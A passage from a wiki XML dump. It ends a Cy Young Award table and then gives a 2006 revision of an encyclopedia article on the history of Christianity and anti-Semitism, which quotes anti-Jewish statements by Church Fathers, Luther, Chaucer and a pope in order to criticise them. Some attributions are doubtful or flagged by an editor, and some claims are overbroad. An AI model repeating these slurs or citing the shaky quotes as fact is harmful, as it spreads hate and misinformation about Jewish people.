&lt;/tr&gt;
&lt;tr style=&quot;background: #e3e3e3;&quot;&gt;
&lt;td&gt;[[1996 in baseball|1996]]&lt;/td&gt;
&lt;td&gt;[[John Smoltz]]&lt;/td&gt;
&lt;td&gt;[[Atlanta Braves]]&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;24-8&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;0&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;2.95&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;[[1997 in baseball|1997]]&lt;/td&gt;
&lt;td&gt;[[Pedro Martínez]]&lt;/td&gt;
&lt;td&gt;[[Montreal Expos]]&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;17-8&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;0&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;1.90&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background: #e3e3e3;&quot;&gt;
&lt;td&gt;[[1998 in baseball|1998]]&lt;/td&gt;
&lt;td&gt;[[Tom Glavine]]&lt;/td&gt;
&lt;td&gt;[[Atlanta Braves]]&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;20-6&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;0&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;2.47&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;[[1999 in baseball|1999]]&lt;/td&gt;
&lt;td&gt;[[Randy Johnson]]&lt;/td&gt;
&lt;td&gt;[[Arizona Diamondbacks]]&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;17-9&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;0&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;2.49&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background: #e3e3e3;&quot;&gt;
&lt;td&gt;[[2000 in baseball|2000]]&lt;/td&gt;
&lt;td&gt;[[Randy Johnson]]&lt;/td&gt;
&lt;td&gt;[[Arizona Diamondbacks]]&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;19-7&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;0&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;2.64&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;[[2001 in baseball|2001]]&lt;/td&gt;
&lt;td&gt;[[Randy Johnson]]&lt;/td&gt;
&lt;td&gt;[[Arizona Diamondbacks]]&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;21-6&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;0&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;2.49&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background: #e3e3e3;&quot;&gt;
&lt;td&gt;[[2002]]&lt;/td&gt;
&lt;td&gt;[[Randy Johnson]]*&lt;/td&gt;
&lt;td&gt;[[Arizona Diamondbacks]]&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;24-5&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;0&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;2.32&lt;/td&gt;
&lt;/tr&gt;
&lt;td&gt;[[2003 in baseball|2003]]&lt;/td&gt;
&lt;td&gt;[[Eric Gagne]]&lt;/td&gt;
&lt;td&gt;[[Los Angeles Dodgers]]&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;2-3&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;55&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;1.20&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background: #e3e3e3;&quot;&gt;
&lt;td&gt;[[2004 in baseball|2004]]&lt;/td&gt;
&lt;td&gt;[[Roger Clemens]]&lt;/td&gt;
&lt;td&gt;[[Houston Astros]]&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;18-4&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;0&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;2.98&lt;/td&gt;
&lt;/tr&gt;
&lt;td&gt;[[2005 in baseball|2005]]&lt;/td&gt;
&lt;td&gt;[[Chris Carpenter]]&lt;/td&gt;
&lt;td&gt;[[St. Louis Cardinals]]&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;21-5&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;0&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;2.83&lt;/td&gt;
&lt;/tr&gt;
&lt;/table&gt;

(*) Denotes a unanimous selection, i.e., a player who received all first-place votes.

&amp;dagger; Sutcliffe was traded mid-season on [[June 13]].  He went 4-5 with a 5.15 ERA with the Cleveland Indians before being traded to the Chicago Cubs where he went 16-1 with a 2.69 ERA to finish the season.

[[Category:Baseball awards and trophies]]
[[de:Cy Young Award]]
[[es:Premio Cy Young]]
[[fr:Trophée Cy Young]]
[[ja:&amp;#12469;&amp;#12452;&amp;#12539;&amp;#12516;&amp;#12531;&amp;#12464;&amp;#36062;]]
[[zh:賽揚獎]]</text>
    </revision>
  </page>
  <page>
    <title>Christian anti-semitism</title>
    <id>6726</id>
    <revision>
      <id>15904847</id>
      <timestamp>2002-12-09T15:12:20Z</timestamp>
      <contributor>
        <username>Magnus Manske</username>
        <id>4</id>
      </contributor>
      <minor />
      <comment>#REDIRECT [[Christianity_and_anti-Semitism]]</comment>
      <text xml:space="preserve">#REDIRECT [[Christianity_and_anti-Semitism]]</text>
    </revision>
  </page>
  <page>
    <title>Christianity and anti-Semitism</title>
    <id>6728</id>
    <revision>
      <id>42013980</id>
      <timestamp>2006-03-03T05:37:37Z</timestamp>
      <contributor>
        <ip>67.183.58.112</ip>
      </contributor>
      <text xml:space="preserve">This article is about the history of [[Christianity]] and [[anti-Semitism]]. Anti-Jewish sentiment has been expressed by many Christians over the last 2000 years, but many other Christians, increasingly in recent years, have also condemned these sentiments.

== Early origins ==

There have been philosophical differences between Christianity and Rabbinical [[Judaism]] since the outset. Debates between the early Christians - who at first understood themselves as a movement ''within'' Judaism, not as a separate religion - and other Jews initially revolved around the question whether [[Jesus|Jesus of Nazareth]] was the [[Messiah]] or not, which also encompassed the issue of his divinity. Once [[gentiles]] were converted to Christianity, the question arose whether and how far these Gentile Christians were obliged to follow Jewish law in order to follow Jesus (see Paul's [[Letter to the Galatians]]). It was decided that gentiles did not have to follow Jewish law, but Paul also questioned the validity of Jewish Christian's adherence to the Jewish law in relation to faith in Christ.

The increase of the numbers of Gentile Christians in comparison to Jewish Christians eventually resulted in a rift between Christianity and Judaism, which was further increased by the [[Jewish-Roman wars]] ([[66]]-[[73]] and [[132]]-[[135]]) that drove Jews into the [[diaspora]] and further diminished Jewish Christians.

Also, the two religions differed in their legal status in the [[Roman Empire]]: Judaism, restricted to the [[Jewish people]], was exempt from obligation to the Roman state religion and since the reign of [[Julius Caesar]] enjoyed the status of a &quot;[[licit]] religion&quot;. Christianity however was not restricted to one people and as Jewish Christians were excluded from the synagogue they also lost the protection of the status of Judaism. Since the reign of [[Nero]] Christianity was considered to be illegal and Christians were frequently subjected to persecution, differing regionally. In the third century systematic persecution of Christians began and lasted until [[Constantine I (emperor)|Constantine]]'s conversion to Christianity. In [[390]] [[Theodosius I]] made Christianity the new state religion. While pagan cults and [[Manichaeism]] were surpressed, Judaism retained its legal status as a &quot;licit religion&quot;, though anti-Jewish violence still occurred. In the fifth century, some legal measures worsened the status of the Jews in the Roman Empire.

== Assimilation ==
{{main|Assimilation (sociology)}}

The assimilation of Jews into majority non-Jewish culture is perhaps the single issue where Christians and Jews differ most sharply.  The [[conversion]] of a Jewish born person to Christianity may be seen by Jews as a scourge (&quot;[[silent Holocaust]]&quot;) and by some Christians as a &quot;[[blessing]] from God&quot; for the salvation of a non-Christian for their conversion to Christianity. In the reverse situation, though perhaps more rare, similar sentiments among partisans might also apply.

== [[Anti-Judaism]] ==
Perhaps best described as 'religious anti-Semitism,' [[anti-Judaism]] is a manifestation of a religious hostility toward Jews, based in Christian religious doctrine. Many scholars of Jewish-Christian relations distinguish [[anti-Judaism]] from [[anti-Semitism]], regarding the latter as opposition based solely on racial and ethnic considerations.

Although some Christians have considered anti-Judaism contrary to Christian teaching, it has historically been expressed by  [[Christianity|Christian]] leaders and laypersons. In many cases, the practical tolerance towards the Jewish religion and Jews prevailed. Some Christian groups, particularly in recent years, have condemned verbal [[Anti-Judaism]]. 

This article begins by describing passages in the New Testament that some feel are anti-Judaist, as well as anti-Judaist statements and acts by the [[Church Fathers]]. It goes on to discuss developments in the 20th century, both promoting and opposing anti-Semitism. 

During the past 1800 years, many Christians have had anti-Jewish attitudes. Some historians and many Jews hold that for most of its history, most of Christianity was openly anti-Semitic and that the severity, type and extent of this anti-Semitism have varied much over time; the earliest form was theological anti-Judaism.

Some apparently anti-Jewish ideas present among Christians are not a result of specific anti-Jewish Biblical ideals, but instead a manifestation of Christian rejection of other religions as alternative ways to God. In this sense, Christianity owes a debt of gratitude for the past, yet asserts that the time of Judaism is past, therefore invalidating Judaism as a viable means of salvation.

==Anti-Semitism and the New Testament==
{{main|Jews in the New Testament}}

Few Jews consider the New Testament anti-Semitic as such.  The main concern of most Jews today is how the New Testament has ''been used'' to legitimate or provoke anti-Semitism.  A number of elements of the New Testament are anti-Jewish.  Among them are:

* the claim that Jews are responsible for the murder of Jesus.  This is exemplified by [[I Thessalonians]] 2:14-15:
:For you, brethren, became imitators of the churches of God in Christ Jesus which are in Judea; for you suffered the same things from your own countrymen as they did from the Jews, who killed both the Lord Jesus and the prophets, and drove us out, and displease God and oppose all men.
* the claim that the Jewish covenant with God has been superseded by a new covenant.
* criticisms of the Pharisees.
* criticisms of Jewish parochialism or particularism.

These elements of the New Testament have their origins in first-century history.  Christianity began as a branch of Judaism. Virtually all of Jesus's followers during his life were Jews, and it was even a matter of controversy, many years after his death, as to whether non-Jews could even be considered Christians at all. There is some debate about whether Jesus intended to start a new religion or whether he considered himself a reformer in the prophetic tradition. (See for example the [[Gospel of Matthew]] Chapter 5, verses 17-19, and Chapter 16, verse 18.)

Although the Gospels offer accounts of confrontations and debates between Jesus and other Jews, such conflicts were common among Jews at the time.  Scholars disagree on the historicity of the Gospels, and have offered different interpretations of the complex relationship between Jewish authorities and Christians before and following Jesus's death.  These debates hinge on the meaning of the word &quot;[[messiah]],&quot; and the claims of early Christians.

The Gospels make several claims about Jesus: that he was a preacher, faith healer, messiah.  The first two claims describe roles popular in first century Judea; were Jesus principally a preacher and healer, there is no reason to think he would have come into conflict with Jewish authorities.  The claim that he was the messiah, however, is more controversial.  The Hebrew word ''mashiyakh'' (&amp;#1502;&amp;#1513;&amp;#1497;&amp;#1495;) typically signified &quot;king&quot; &amp;ndash; a man, chosen by God or descended from a man chosen by God, to serve as a civil and military authority.  If Jesus made this claim during his life, it is not surprising that many Jews, weary of [[Roman Empire|Roman]] occupation, would have supported him as a liberator.  It is also likely that Jewish authorities would have been cautious, out of fear of Roman reprisal.

Jesus was considered by Christians to be the Messiah, while for most Jews the death of Jesus would have been sufficient proof that he was not the Messiah. If early Christians preached that Jesus was about to return, it is virtually certain that Jewish authorities would have opposed them out of fear of Roman reprisal.

Such fears would have been well grounded: Jews revolted against the Romans in [[66]] CE, which culminated with the destruction of the [[Second Temple]] in [[70]] CE. They [[Bar Kokhba's revolt|revolted]] again under the leadership of the professed messiah [[Simon Bar Kokhba]] in [[132]] CE, which culminated in the expulsion of the Jews from the [[Land of Israel]], which [[Hadrian]] renamed into [[Syria Palæstina|Palestine]] to wipe out memory of Jews there.

At the time, Christianity was still considered a sect of Judaism, but the messianic claims alienated many Christians (including Jewish converts) and sharply deepened the [[schism]]. 

Another source of tension between early Christians and Jews was the question of observance of Jewish law. Early Christians were divided over this issue: Some Jewish Christians, among which were converts from the party of the Pharisees, believed that Christians had to be Jews and observe Jewish law, while [[Paul of Tarsus|Paul]] argued that Christians did not have to observe all of Jewish law, and did not have to be circumcised, which was a requirement for male Jews. The issue was settled in the [[Council of Jerusalem]], in which Paul and Barnabas participated as representatives of the church at Antioch. The Council decided that they would not subject Gentile converts to the Law of Moses nor circumcision, but ordered them to stay away from eating meat with blood still on it, eating the meat of strangled animals, eating food offered to idols, and sexual immorality.

Some scholars (influenced by Martin Luther) have interpreted Paul's writings as rejecting the validity of Jewish law. A small number of historians suggest that Paul accepted the authority of the law, but understood that it excluded non-Jews. This is not a generally accepted view.

Although Gentiles could convert to Judaism and thus be included, the point remained that people could enter this covenant with God only by being Jewish. Some say that by replacing the written law (the [[Torah]]) with Christ as the sign of the covenant, Paul sought to transform Judaism into a universal religion. It is evident that Paul saw himself as a Jew, but other Jews rejected this universalism; after Paul's death, Christianity emerged as a separate religion, and Pauline Christianity emerged as the dominant form of Christianity, especially after Paul, James and the other apostles agreed on a compromise set of requirements (Acts 15). Some Christians continued to adhere to Jewish law, but they were few in number and often considered [[heresy|heretics]] by the Church. One example is the [[Ebionites]], which, according to the [[Catholic Encyclopedia]], were &quot;infected with Judaistic errors&quot; (language which Jews find offensive); for instance, they denied the [[Virgin Birth (Christian doctrine)|virgin birth]] of Jesus, the physical [[resurrection]] of Jesus, and most of the books that were later [[biblical canon|canonized]] as the New Testament.

Many [[New Testament]] passages criticise the [[Pharisees]]; it has been argued that these these passages have shaped the way that Christians have viewed Jews.  Like most [[Bible]] passages, however, they can and have been interpreted in a variety of ways.

During Jesus's life and at the time of his execution, the Pharisees were only one of several Jewish groups such as the [[Sadduccee]]s, [[Zealot]]s, and [[Essene]]s; indeed, some have suggested that Jesus was himself a Pharisee (although this seems unlikely). Arguments by Jesus and his disciples against the Pharisees and what he saw as their hypocrisy were most likely examples of disputes among Jews and internal to Judaism that were common at the time. ([[Lutheran]] [[Pastor]] John Stendahl has pointed out that &quot;Christianity begins as a kind of Judaism, and we must recognize that words spoken in a family conflict are inappropriately appropriated by those outside the family.&quot;)  

After the destruction of the [[Temple in Jerusalem]] in 70 CE, however, the Pharisees emerged as the principal form of Judaism (also called &quot;Rabbinic Judaism&quot;).  All major modern Jewish movements consider themselves descendants of Pharasaic Judaism; as such, Jews are especially sensitive to criticisms of &quot;Pharisees&quot; as a group.

At the same time that the Pharisees came to represent Judaism as a whole, Christianity came to seek, and attract, more non-Jewish converts than Jewish converts. Within a hundred years or so the majority of Christians were non-Jews without any significant knowledge of Judaism (although until about [[1000]], there was an active Jewish component of Christianity). Many of these Christians often read these passages not as internal debates among Jews but as the basis for a Christian rejection of Judaism.

Moreover, it was only during the Rabbinic era that Christianity would compete exclusively with Pharisees for converts and over how to interpret the Hebrew Bible (during Jesus's lifetime, the Sadducees were the dominant Jewish faction).  Some scholars have argued that some passages of the Gospels were written (or re-written) at this time to emphasize conflict with the Pharisees.  These scholars observe that the portrait of the Pharisees in the Gospels is strikingly different from that provided in Rabbinic sources, and suggest that New Testament Pharisees are a caricature and literary foil for Christianity. At a time when Christians were only seeking converts, and had no political power in the [[Roman Empire]] and were in fact [[Persecution of Christians|persecuted]] extensively, such a caricature may not have been in any meaningful sense &quot;anti-Judaist.&quot;  But once Christianity was established as the religion of the Empire, and Christians enjoyed political domination over Europe, this caricature could be used to incite or justify oppression of Jews.

Some have also suggested that the [[Greek language|Greek]] word ''Ioudaioi'' could also be translated &quot;Judaeans&quot;, meaning in some cases specifically the Jews from [[Judaea]], as opposed to people from [[Galilee]] or [[Samaria]] for instance. 

In recent years teachers in a few Christian denominations have begun to teach that readers should understand the New Testament's seeming attacks on Jews as specific charges aimed at certain Jewish leaders of that time, and upon attitudes displayed by many, inside and outside Judaism.

However, Professor Lillian C. Freudmann, author of &quot;Antisemitism in the New Testament&quot; (University Press of America, 1994) has published a detailed study of the treatment of Jews in the New Testament, and the historical effects that such passages have had in the Christian community throughout history. Similar studies of such verses have been made by both Christian and Jewish scholars, including, Professors Clark Williamsom (Christian Theological Seminary), Hyam Maccoby (The Leo Baeck Institute), Norman A. Beck (Texas Lutheran College), and Michael Berenbaum (Georgetown University). Most rabbis feel that these verses are anti-Semitic, and many liberal Christian scholars (including clergy), in America and Europe, have reached the same conclusion.

==The Church Fathers==
The following statements have been used to justify persecution of Jews. Many of the following people were recognized as saints by the Church; none of them explicitly advocated physical violence or murder, sometimes arguing, like [[Augustine of Hippo|Augustine]], that the Jews should be left alive and suffering as a perpetual reminder of their murder of Christ.

* [[Eusebius of Caesarea]], in [[325]], blames the calamities which befell the Jewish nation on the Jews' role in the death of Jesus: &quot;that from that time seditions and wars and mischievous plots followed each other in quick succession, and never ceased in the city and in all Judea until finally the siege of Vespasian overwhelmed them. Thus the divine vengeance overtook the Jews for the crimes which they dared to commit against Christ. &quot; (Eusebius of Caesarea, Church History: Book II, Chapter 6: The Misfortunes which overwhelmed the Jews after their Presumption against Christ) [http://web.cbn.org/bibleresources/theology/eusebius/churchhistory/eusebius-b2-7.asp]

* Saint [[Ambrose]], Bishop of Milan ([[340]]-[[397]] CE) - A bishop was accused of instigating the burning of a synagogue by an anti-Semitic mob, and Emperor [[Theodosius]] was preparing to order the bishop to rebuild it. Ambrose discouraged the Emperor from taking this step because it would appear to show special favoritism to the Jews: (1) no action was taken against those responsible for burning the houses of various wealthy individuals in Rome; (2) no action was taken against those responsible for the recent burning of the house of the Bishop of Constantinople; (3) Jews had caused several Christian basilicas to be burnt during the reign of [[Julian the Apostate|Julian]], yet had never been asked to make reparation, and some of those basilicas were still not rebuilt. Ambrose asked that Christian monies not be used to build a place of worship for unbelievers, heretics or Jews, and reminded Ambrose that some Christian laity had said of Emperor Maximus, &quot;he has become a Jew&quot; because of the edict Maximus issued regarding the burning of a Roman synagogue. Ambrose did not oppose punishing those directly responsible for burning the synagogue. He halted the celebration of the [[Eucharist]] until Theodosius agreed to end the investigation without requiring reparations to be made by the bishop. (from the 40th and 41st Epistles of St. Ambrose of Milan)

: [http://www.newadvent.org/cathen/01383c.htm Catholic Encyclopaedia entry on Ambrose]

* [[Augustine of Hippo]] in Book 18, Chapter 46, of ''The City of God''. wrote &quot;The Jews who slew Him [Jesus], and would not believe in Him, because it behoved Him to die and rise again, were yet more miserably wasted by the Romans, and utterly rooted out from their kingdom, where aliens had already ruled over them, and were dispersed through the lands (so that indeed there is no place where they are not), and are thus by their own Scriptures a testimony to us that we have not forged the prophecies about Christ.&quot; [http://www.ccel.org/fathers/NPNF1-02/Augustine/cog/t103.htm]

: Augustine deems this scattering important because he believes that this is a fulfillment of certain prophecies, thus proving that Jesus was the [[Messiah]]. This is because Augustine believes that the Jews who were dispersed were the enemies of the Christian Church. He also quotes part of the same prophecy that says &quot;Slay them not, lest they should at last forget Thy law&quot;.

* [[Ephraim the Syrian]] wrote polemics against Jews in the fourth century, including the repeated accusation that Satan dwells among them as a partner. These writings were directed at Christians who were being proselytized by Jews and who Ephraim feared were slipping back into the religion of Judaism; thus he portrayed the Jews as enemies of Christianity, like Satan, to emphasize the contrast between the two religions, namely, that Christianity was Godly and true and Judaism was Satanic and false. Like John Chrysostom, his objective was to dissuade Christians from reverting to Judaism by emphasizing what he saw as the wickedness of the Jews and their religion.

: [http://syrcom.cua.edu/Hugoye/Vol1No2/HV1N2Palmer.html Ephraim the Syrian and his polemics against Jews]

: [http://syrcom.cua.edu/Hugoye/Vol5No1/HV5N1Shepardson.html Analysis of Ephraim's writings]

* In his ''Dialog of Justin, Philosopher and Martyr, with Trypho, a Jew'', the Christian scholar [[Justin Martyr]] advanced arguments for the truth of Christianity and wrote to his imaginary Jewish opponent: &quot;You think that these words refer to the stranger and the proselytes, but in fact they refer to us who have been illumined by Jesus. For Christ would have borne witness even to them; but now you are become twofold more the children of Hell, as He said Himself.&quot;[http://www.ccel.org/fathers/ANF-01/just/justintrypho.html]  

* Saint [[Jerome]] (374-419 CE) - He denounced Jews as &quot;Judaic serpents of whom Judas was the model.&quot; In his ''The Jews in the Roman Empire'' (''Les Juifs dan L'Empire Romain'') [Is this really a work by Jerome, or a modern history?] he wrote: &quot;The Jews seek nothing but to have children, possess riches and be healthy. They seek all earthly things, but think nothing of heavenly things; for this reason they are mercenaries.&quot; 

* Saint [[John Chrysostom]] (ca 344 - 407 CE) - wrote of the Jews and of Judaizers in eight homilies ''Adversus Judaeos'', ''Against The Jews'' (or ''Against the Judaizers'') [http://www.fordham.edu/halsall/source/chrysostom-jews6.html]. These quotes are translations from the original Greek posted by Paul Halsall: other researchers give slightly different translations.

: &quot;Shall I tell you of their plundering, their covetousness, their abandonment of the poor, their thefts, their cheating in trade? the whole day long will not be enough to give you an account of these things. But do their festivals have something solemn and great about them? They have shown that these, too, are impure.&quot; (Homily I, VII, 1) 
: &quot;But before I draw up my battle line against the Jews, I will be glad to talk to those who are members of our own body, those who seem to belong to our ranks although they observe the Jewish rites and make every effort to defend them. Because they do this, as I see it, they deserve a stronger condemnation than any Jew.&quot; (HOMILY IV, II, 4)
: &quot;Are you Jews still disputing the question? Do you not see that you are condemned by the testimony of what Christ and the prophets predicted and which the facts have proved? But why should this surprise me? That is the kind of people you are. From the beginning you have been shameless and obstinate, ready to fight at all times against obvious facts.&quot; (HOMILY V, XII, 1)

: ''Historical note'' The goal of these sermons was to discourage Christians from intermixing Jewish belief and practice with Christian belief and practice, because he believed that Jewish belief and practice were incompatible with Christianity. They were delivered while Chrysostom was a tonsured Reader, well before his ordination to the priesthood.

* Saint [[Fulgentius of Ruspe]] (467-533 CE) - In his &quot;Writings&quot;, written about 510 CE, he states &quot;Hold most firmly and doubt not that not all the pagans, but also all the Jews, heretic and schismatics who depart from the present life outside the Catholic Church, are about to go into eternal fire prepared for the devil and his angels.&quot; (See also: [[Extra ecclesiam nulla salus]].)

==Later Christian writers==
* Thomas of Monmouth, a monk in the [[Norwich]] Benedictine monastery, wrote a detailed anti-Semitic tractate holding that Jews tortured to death Christian children during Passover.  His tractate was called ''The Life and Miracles of St. William of Norwich, 1173''.

:[http://www.unc.edu/courses/pre2000fall/westciv/readings/antisemitism.html Excerpt from the Life and Miracles of St. William of Norwich]

* [[Thomas Aquinas]] ([[1225]] - [[1274]]) preached that the Jews were damned because they had slain Jesus, and the only way they could be saved was to renounce their faith and be baptized as Christians.

* [[Geoffrey Chaucer]] (?[[1343]]-[[1400]]) wrote in &quot;The Prioress's Tale&quot; of his ''Canterbury Tales'' of a devout little Christian child who was murdered by Jews affronted at his singing a hymn as he passed through the Jewry, or Jewish quarter, of a city in Asia:

:Our primal foe, the serpent Sathanas,  
:Who has in Jewish heart his hornets' nest,  
:Swelled arrogantly: &quot;O Jewish folk, alas!  
:Is it to you a good thing, and the best,  
:That such a boy walks here, without protest,  
:In your despite and doing such offense  
:Against the teachings that you reverence?&quot;  
:From that time forth the Jewish folk conspired  
:Out of the world this innocent to chase;  
:A murderer they found, and thereto hired,  
:Who in an alley had a hiding-place;  
:And as the child went by at sober pace,  
:This cursed Jew did seize and hold him fast,  
:And cut his throat, and in a pit him cast.  
:I say, that in a cesspool him they threw,  
:Wherein these Jews did empty their entrails.  
:O cursed folk of Herod, born anew,  
:How can you think your ill intent avails?  
:Murder will out, 'tis sure, nor ever fails,  
:And chiefly when God's honour vengeance needs.[http://classiclit.about.com/library/bl-etexts/gchaucer/bl-gchau-can-pri.htm]

* [[Martin Luther]], founder of the Lutheran Protestant Christian denomination, at first made overtures towards the Jews, believing that the evils of [[Catholicism]] had prevented their conversion to Christianity. When his call to convert to his version of Christianity was understandably rebuffed he became hostile to them and preached, in his book ''On the Jews and their Lies'', that they were &quot;venomous beasts, vipers, disgusting scum, canders, devils incarnate. Their private houses must be destroyed and devastated, they could be lodged in stables. Let the magistrates burn their synagogues and let whatever escapes be covered with sand and mud. Let them force to work, and if this avails nothing, we will be compelled to expel them like dogs in order not to expose ourselves to incurring divine wrath and eternal damnation from the Jews and their lies.&quot; It is to be noted that the many Lutheran churches and councils across the world have been slow in disassociating themselves from these statements.

* [[Pope Clement VIII]] (1536-1605). &quot;All the world suffers from the [[usury]] of the Jews, their monopolies and deceit. They have brought many unfortunate people into a state of poverty, especially the farmers, working class people and the very poor. Then, as now, Jews have to be reminded intermittently that they were enjoying rights in any country since they left Palestine and the Arabian desert, and subsequently their ethical and moral doctrines as well as their deeds rightly deserve to be exposed to criticism in whatever country they happen to live.&quot;

Many websites have lists of supposed quotes by Christian leaders and saints. For example, one page on [http://www.nt-antisemitism.ic24.net/antisem/hate.htm More Christian Jew Haters] claims to list &quot;quotes that reveal shocking hatred against the Jewish people and false accusations against the Jews by popes, 'saints' and other Christian religious functionaries&quot;. Many of these quotes turn out to be partly or completely fabricated by people seeking to discredit Christianity. Amongst the victims of these misquotations is [[Gregory of Nyssa]].

==The Jews' expulsion from England==
[[Edward I of England]] expelled all the Jews from England in 1290 (only after ransoming some 3,000 among the most wealthy of them).

==The Jews' expulsion from Spain==
In [[1481]], [[Ferdinand II of Aragon]] and [[Isabella I of Castile]], the rulers of [[Spain]] who financed [[Christopher Columbus]]' voyage to the New World just a few years later in [[1492]], declared that all Jews in their territories should either convert to Christianity or leave the country. While some converted, many others left for [[France]], [[Italy]], [[Holland]],  the [[Ottoman Empire]], and [[North Africa]]. Estimates are that between four and eight thousand Jews who had formally converted, were burnt alive based on the accusation that they were still [[marrano|secretly practising Judaism]]. It is arguable whether this constitutes anti-Semitism in the racist sense, since it was directed at recent (though forced) converts from [[Judaism]].

==Christians in [[Nazi Germany]]==

===Collaborating Christians===

See:
* ''[[Gleichschaltung]]'';
* [[German Christians]]; 
* [[Protestant Reich Church]];
* [[Hanns Kerrl]], Minister for Ecclesiastical Affairs
* [[Hitler's Pope]]
* [[Positive Christianity]] (the approved Nazi version of Christianity)

===Opposition to the Holocaust===
The [[Confessing Church]] was, in [[1934]], the first Christian opposition group. The Catholic Church officially condemned the Nazi theory of racism in Germany in 1937 with the [[Encyclical]] &quot;[[Mit Brennender Sorge]]&quot;, signed by [[Pope Pius XI]], and [[Michael Cardinal von Faulhaber]] led the Catholic opposition, preaching against racism. However, there was not enough organized resistance by Christian groups to prevent the Nazis' anti-Semitic policies. 

Many individual Christian clergy and laypeople of all denominations had to pay for their opposition with their life, including: 
* the Lutheran pastors [[Dietrich Bonhoeffer]] and [[Martin Niemöller]] (who was imprisoned, but not executed); 
* the Catholic parson of Berlin Cathedral, [[Bernhard Lichtenberg]]. 
* the members of the group [[White Rose]] around [[Hans Scholl|Hans]] and [[Sophie Scholl]].
By the 1940s, fewer Christians were willing to oppose Nazi policy publicly, but many secretly helped save the lives of Jews. There are many sections of Israel's Holocaust Remembrance Museum, [[Yad VaShem]], dedicated to honoring these &quot;[[Righteous Among the Nations]]&quot;.  See also: [[Christian opposition to anti-Semitism#Pius XII]]

===Comparisons between Nazi Germany and early Christian states' policies with regards to Jews===

Some Nazi policies towards Jews had forerunners in similar laws enacted in Europe by Christian rulers centuries before Nazism. Examples include:

* The Synod of Clermont (Franks), 535 CE, prohibited Jews from holding public office.
* Nazi Germany, 1935 CE - Prohibited Jews from holding public office.

* The 12th Synod of Toledo (Spain), 681 CE, ordered the burning of the Talmud and other Jewish books.
* Nazi Germany -  Ordered the burning of the Talmud and other Jewish books.

* In 692, the [[Council in Trullo|Trulanic Synod]] forbade Christians to go to Jewish doctors, attend Jewish religious feasts or have friendly relations with Jews.
* Nazi Germany - The Nuremberg laws forbade people to go to Jewish doctors

* The Fourth Lateran Council, 1215 CE, forced Jews to wear a distinctive badge on their clothing.
* Pope Paul IV, in 1555, issues a [[papal bull]] forcing Jews to wear yellow hats; this same papal bull confines Jews to ghettos, and bans them from working in most professions.
* Nazi Germany adopted every one of these laws in 1939; the only change was that the yellow hat was changed to a yellow star.

In general, it should be noted that these Christian laws were directed against Jews as a religious group and not against converts to Christianity, while Nazi policy targeted all those of Jewish descent. Also these laws have to be put in proper context, e.g. a medieval law demanding of Jews to wear specific clothes seems less outrageous when considering that it was common at that time to have strict dress codes for different classes.

==Reasons that anti-Semitism continued==
The isolation of Jews as a ''special case'' may be a partial cause of both beneficial and detrimental special treatment of the Jews.  This ''special case'' treatment can be seen from very early times, into the present in both politics and religion.

A classical Christian principle is that all people must know God as revealed through [[Jesus]], as that is the only way that anyone can avoid damnnation and gain eternal life in Heaven. To the service of this religious motive, Christian rulers applied the same tools of the Roman empire. Many Christian rulers argued that those who take away the possibility of eternal life should be prevented by force; especially apostates from the Christian faith or those who drew converts away from the Church, since this would be worse than murder or any purely temporal evil. Therefore, at times, no public displays of any non-Christian religion were allowed, and proselytizing to convert people away from Christianity was also forbidden: sometimes purely for reason of Empire, sometimes more directly arising from the power and authority of the Church.

A special case had always been reserved for the Jewish religion. Christians have believed that the Jewish practices were prefigures of the Christian ones, and that they may not be forcibly stopped (although Christians never ceased from attempting to convert Jews).  This singling out of Jews had the negative side-effect of isolating Jews into a special class, as a group excluded from the general rule.

For example, Christian law forbade Christians to lend money and reclaim it with interest; Jewish law likewise had the same restrictions.  But during the middle-ages, European Christian nobility often forced Jews to take on this role; over time, some Jews naturally played an important role in the economies of the Middle Ages.  On many occasions, when their high-powered debtors decided they did not want to pay back their debts, they relied on the &quot;Christ's murderers&quot; tradition to expel the Jews and default on their obligations.  To many, this would appear to be a case of misuse of Scripture and tradition to justify actions that would otherwise be condemned. 

